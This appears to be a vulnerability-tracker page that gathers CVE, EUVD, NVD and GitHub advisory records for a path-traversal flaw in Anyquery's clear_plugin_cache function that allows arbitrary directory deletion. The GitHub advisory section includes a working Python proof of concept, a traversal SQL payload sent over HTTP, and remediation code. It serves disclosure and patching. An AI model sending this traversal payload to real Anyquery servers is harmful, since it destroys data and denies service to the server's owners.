Anyquery: Path Traversal in `clear_plugin_cache` Allows Arbitrary Directory Deletion

CISA KEV is observed exploitation evidence. FIRST EPSS is a dated prediction of exploitation in the next 30 days. Missing scores are unknown. This collector requests predictions only for explicit CVE aliases in the public NuGet archive; Microsoft release views retain their existing prediction scope.

No collected risk observation for these identifiers. This does not establish absence of exploitation or a zero probability.

Anyquery is an SQL query engine built on top of SQLite. Prior to 0.4.5, the clear_plugin_cache(plugin) SQL scalar function in namespace/other_functions.go passes the caller-controlled plugin parameter through path.Join to os.RemoveAll without rejecting traversal segments. A low-privileged bearer-token holder can invoke the function through the /v1/query HTTP endpoint, causing path.Join to resolve .. segments outside $XDG_CACHE_HOME/anyquery/plugins/ and os.RemoveAll to recursively delete any reachable directory writable by the Anyquery server process. This causes permanent data loss and denial of service without disclosing file contents. This issue is fixed in version 0.4.5.

Source published

14 Sep 2026 19:54:24 UTC

Source modified

14 Sep 2026 20:09:37 UTC

Observed here

23 Oct 2026 15:48:27 UTC

Source terms

CVE Program Terms of Use

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This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: cve-program · CVE Program Terms of Use. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS 3.1 · 7.3 CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:N/I:H/A:H

Anyquery is an SQL query engine built on top of SQLite. Prior to 0.4.5, the clear_plugin_cache(plugin) SQL scalar function in namespace/other_functions.go passes the caller-controlled plugin parameter through path.Join to os.RemoveAll without rejecting traversal segments. A low-privileged bearer-token holder can invoke the function through the /v1/query HTTP endpoint, causing path.Join to resolve .. segments outside $XDG_CACHE_HOME/anyquery/plugins/ and os.RemoveAll to recursively delete any reachable directory writable by the Anyquery server process. This causes permanent data loss and denial of service without disclosing file contents. This issue is fixed in version 0.4.5.

Source published

Sep 14, 2026, 7:54:24 PM (timezone not stated)

Source modified

Sep 14, 2026, 8:09:37 PM (timezone not stated)

Observed here

11 Nov 2026 12:08:58 UTC

Source terms

ENISA EUVD · source terms and attribution apply

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: euvd · ENISA EUVD · source terms and attribution apply. Source text is retained; field grouping and change labels are provided by ChangeIntel.

EUVD CVSS 3.1 · 7.3 CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:N/I:H/A:H

Anyquery is an SQL query engine built on top of SQLite. Prior to 0.4.5, the clear_plugin_cache(plugin) SQL scalar function in namespace/other_functions.go passes the caller-controlled plugin parameter through path.Join to os.RemoveAll without rejecting traversal segments. A low-privileged bearer-token holder can invoke the function through the /v1/query HTTP endpoint, causing path.Join to resolve .. segments outside $XDG_CACHE_HOME/anyquery/plugins/ and os.RemoveAll to recursively delete any reachable directory writable by the Anyquery server process. This causes permanent data loss and denial of service without disclosing file contents. This issue is fixed in version 0.4.5.

Source published

14 Sep 2026 20:16:44 UTC

Source modified

30 Sep 2026 19:08:43 UTC

Observed here

25 Oct 2026 12:17:26 UTC

Source terms

NIST NVD usage terms; underlying source attribution retained

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: nvd · NIST NVD usage terms; underlying source attribution retained. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS 3.1 · [email protected] · Secondary · 7.3 CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:N/I:H/A:H

# Path Traversal in `clear_plugin_cache` Allows Arbitrary Directory Deletion | Field | Value | | ---------------- | ----- | | Repository | julien040/anyquery | | Affected version | 0.4.4 | | Vulnerability | CWE-22 — Improper Limitation of a Pathname to a Restricted Directory | | Severity | High | ## Summary The SQL scalar function `clear_plugin_cache(plugin)` in `namespace/other_functions.go` passes the caller-supplied `plugin` argument directly to `path.Join` and then to `os.RemoveAll`, with only an empty-string check as a guard. Because `path.Join` silently resolves `..` segments, a low-privileged bearer-token holder can submit `SELECT clear_plugin_cache('../../../../tmp/target')` to the `/v1/query` HTTP endpoint and delete any directory reachable by the server process. In the verified scenario, a directory outside `$XDG_CACHE_HOME/anyquery/plugins/` was successfully deleted, confirming full path-traversal exploitation. ## Affected Code `namespace/other_functions.go:46` — `pathlib.Join` resolves `..` segments in attacker-controlled `plugin`, producing a path outside the cache root `namespace/other_functions.go:53` — `os.RemoveAll` unconditionally deletes the traversed path ```go func clear_plugin_cache(plugin string) string { pathToRemove := pathlib.Join(xdg.CacheHome, "anyquery", "plugins", plugin) if plugin == "" { return "The plugin name is empty" } // Remove the directory err := os.RemoveAll(pathToRemove) if err != nil { return err.Error() } return "" } ``` HTTP JSON `body.Query` → `executeQueryLLM` (`controller/llm.go:420-426`) → `shell.Run` → SQLite `clear_plugin_cache(plugin)` → `pathlib.Join(xdg.CacheHome, "anyquery", "plugins", plugin)` at `other_functions.go:46` → `os.RemoveAll` at `other_functions.go:53` ## Proof of Concept **Prerequisites:** - Docker installed - Python 3 with `requests` package (`pip install requests`) **Step 1 — Build and start the vulnerable service:** ```bash docker build -f Dockerfile -t anyquery-vuln002 . docker run --rm --name anyquery-vuln002 -p 127.0.0.1:8070:8070 anyquery-vuln002 ``` **Step 2 — Run the PoC script (separate terminal):** ```bash python3 poc.py ``` **poc.py:** ```python #!/usr/bin/env python3 """PoC reproduction script — julien040/anyquery / VULN-002 Prerequisites: - Docker image built: docker build -f Dockerfile -t anyquery-vuln002 . - Container running: docker run --rm --name anyquery-vuln002 -p 127.0.0.1:8070:8070 anyquery-vuln002 - Python packages: requests (stdlib subprocess also used) How to run (from this report directory, after Dockerfile service is up): python3 poc.py Expected on success: Final stdout line begins with `RESULT: PASS` confirming that the sentinel directory outside the cache root was deleted via clear_plugin_cache path traversal. """ import subprocess import sys import json import requests BASE_URL = "http://127.0.0.1:8070" CONTAINER = "anyquery-vuln002" # Traversal payload: XDG_CACHE_HOME=/root/.cache, so # path.Join("/root/.cache","anyquery","plugins","../../../../tmp/poc_sentinel") # resolves to /tmp/poc_sentinel (4 levels up escapes the cache root). TRAVERSAL_PLUGIN = "../../../../tmp/poc_sentinel" SENTINEL_PATH = "/tmp/poc_sentinel" QUERY = f"SELECT clear_plugin_cache('{TRAVERSAL_PLUGIN}')" def docker_exec(cmd): result = subprocess.run( ["docker", "exec", CONTAINER] + cmd, capture_output=True, text=True ) return result.returncode, result.stdout, result.stderr def sentinel_exists(): rc, _, _ = docker_exec(["test", "-d", SENTINEL_PATH]) return rc == 0 # Step 1: create sentinel inside container print(f"[1] Creating sentinel directory {SENTINEL_PATH} inside container...") rc, out, err = docker_exec(["mkdir", "-p", SENTINEL_PATH]) if rc != 0: sys.exit(f"RESULT: FAIL — could not create sentinel: {err}") if not sentinel_exists(): sys.exit("RESULT: FAIL — sentinel not present after mkdir") print(f" Sentinel created: {SENTINEL_PATH}") # Step 2: confirm server is reachable print("[2] Confirming server is reachable...") try: r = requests.get(f"{BASE_URL}/list-tables", timeout=5) assert r.status_code == 200, f"unexpected status {r.status_code}" print(f" GET /list-tables → HTTP {r.status_code} OK") except Exception as e: sys.exit(f"RESULT: FAIL — server not reachable: {e}") # Step 3: send traversal request print("[3] Sending path-traversal payload via POST /execute-query...") payload = {"query": QUERY} r = requests.post( f"{BASE_URL}/execute-query", headers={"Content-Type": "application/json"}, data=json.dumps(payload), timeout=10, ) print(f" HTTP {r.status_code}") print(f" Body: {r.text.strip()}") if r.status_code != 200: sys.exit(f"RESULT: FAIL — unexpected HTTP status {r.status_code}") # Step 4: verify sentinel is gone print("[4] Checking whether sentinel was deleted inside container...") if sentinel_exists(): print(f" Sentinel still present — traversal did not delete it.") print(f"RESULT: FAIL — {SENTINEL_PATH} still exists after traversal request") else: print(f" Sentinel GONE — {SENTINEL_PATH} deleted outside cache root.") print(f"RESULT: PASS — clear_plugin_cache('{TRAVERSAL_PLUGIN}') deleted {SENTINEL_PATH} (outside /root/.cache/anyquery/plugins/)") ``` **HTTP request:** ```http POST /execute-query HTTP/1.1 Host: 127.0.0.1:8070 Content-Type: application/json {"query": "SELECT clear_plugin_cache('../../../../tmp/poc_sentinel')"} ``` **Output:** ```text [1] Creating sentinel directory /tmp/poc_sentinel inside container... Sentinel created: /tmp/poc_sentinel [2] Confirming server is reachable... GET /list-tables → HTTP 200 OK [3] Sending path-traversal payload via POST /execute-query... HTTP 200 Body: +----------------------------------------------------+ | clear_plugin_cache('../../../../tmp/poc_sentinel') | +----------------------------------------------------+ | | +----------------------------------------------------+ 1 results [4] Checking whether sentinel was deleted inside container... Sentinel GONE — /tmp/poc_sentinel deleted outside cache root. RESULT: PASS — clear_plugin_cache('../../../../tmp/poc_sentinel') deleted /tmp/poc_sentinel (outside /root/.cache/anyquery/plugins/) ``` ## Impact An authenticated low-privileged API user can delete any directory accessible to the anyquery server process by supplying a `..`-traversing plugin name to `clear_plugin_cache`. Verified impact is permanent deletion of arbitrary directories outside the intended plugin cache boundary (`$XDG_CACHE_HOME/anyquery/plugins/`). In a realistic deployment, an attacker could target configuration directories, application data, or the user's home directory, causing irreversible data loss and denial of service. There is no confidentiality impact as the function only deletes and does not read data. ## Remediation In `namespace/other_functions.go`, resolve the full path and confirm it shares the expected cache-root prefix before calling `os.RemoveAll`: ```go func clear_plugin_cache(plugin string) string { if plugin == "" { return "The plugin name is empty" } cacheRoot := pathlib.Join(xdg.CacheHome, "anyquery", "plugins") pathToRemove := pathlib.Join(cacheRoot, plugin) rel, err := filepath.Rel(cacheRoot, pathToRemove) if err != nil || strings.HasPrefix(rel, "..") || rel == ".." { return "Invalid plugin name" } if err := os.RemoveAll(pathToRemove); err != nil { return err.Error() } return "" } ``` As a defence-in-depth measure, also reject `plugin` values containing `/`, `\`, or a leading `.` at the input level before the `path.Join` call, so traversal sequences are blocked at the earliest opportunity.

Source published

10 Jun 2026 17:11:53 UTC

Source modified

25 Jun 2026 23:11:43 UTC

Observed here

24 Oct 2026 13:19:41 UTC

Source terms

GitHub Advisory Database · CC-BY-4.0

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: osv · GitHub Advisory Database · CC-BY-4.0. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS_V3 · CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:N/I:H/A:H

Publisher rating · HIGH

Anyquery has Path Traversal through `clear_plugin_cache`, Allowing Arbitrary Directory Deletion in github.com/julien040/anyquery. NOTE: The source advisory for this report contains additional versions that could not be automatically mapped to standard Go module versions. (If this is causing false-positive reports from vulnerability scanners, please suggest an edit to the report.) The additional affected modules and versions are: github.com/julien040/anyquery before v0.4.5.

Source published

25 Jun 2026 22:34:31 UTC

Source modified

25 Jun 2026 23:01:18 UTC

Observed here

24 Oct 2026 13:19:41 UTC

Source terms

OSV · upstream source license applies

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: osv · OSV · upstream source license applies. Source text is retained; field grouping and change labels are provided by ChangeIntel.